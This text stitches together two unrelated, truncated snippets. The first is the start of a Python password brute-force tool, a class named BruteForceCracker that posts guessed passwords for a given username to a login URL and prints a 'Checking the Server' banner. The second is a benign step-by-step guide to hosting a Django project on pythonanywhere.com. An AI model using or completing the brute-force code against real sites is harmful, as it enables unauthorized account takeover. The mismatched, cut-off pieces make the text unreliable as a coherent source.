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  import socket import random import time import threading import tkinter as tk from tkinter import ttk import requests import sys import asyncio import concurrent.futures # Global variable to track the cancel flag cancel_flag = False class BruteForceCracker: def __init__ ( self , url, username, error_message, update_status): self .url = url self .username = username self .error_message = error_message self .update_status = update_status banner = """ Checking the Server !! [+]█████████████████████████████████████████████████[+] """ for run in banner: sys.stdout.write(run) sys.stdout.flush() time.sleep( 0.02 ) def crack ( self , password): data_dict = { "LogInID" : self .username, "Password" : password, "Log In" : "submit" } re...

Hosting Django project on pythonanywhere.com 1. Go to pythonanywhere.com and sign in. 2. authenticate your accounts using an email link (you will not be able to start projects unless you do this). 3. Navigate to the "web" tab in your PythonAnywhere account.  4. Create a new webapp.  5. Select "Django" as your framework. 6. Select the latest Python interpreter. 7. Set your project a name (it must be the same as your local host project). 8. Your Django project will be created by default. (Of course, this is not your project!) 9. Navigate to the project file tab and click the upload button to upload your project (zip file size 100MB). 10. Now, from the menu, open a console bash terminal and input > unzip YourProject.zip 11. open the given link and your project will be running on “yourprojectname.pythonanywhere.com” Notes: 1. Go to the web tab and press the reload button (you must reload every time you make significant changes or if you are using a low-end machine). ...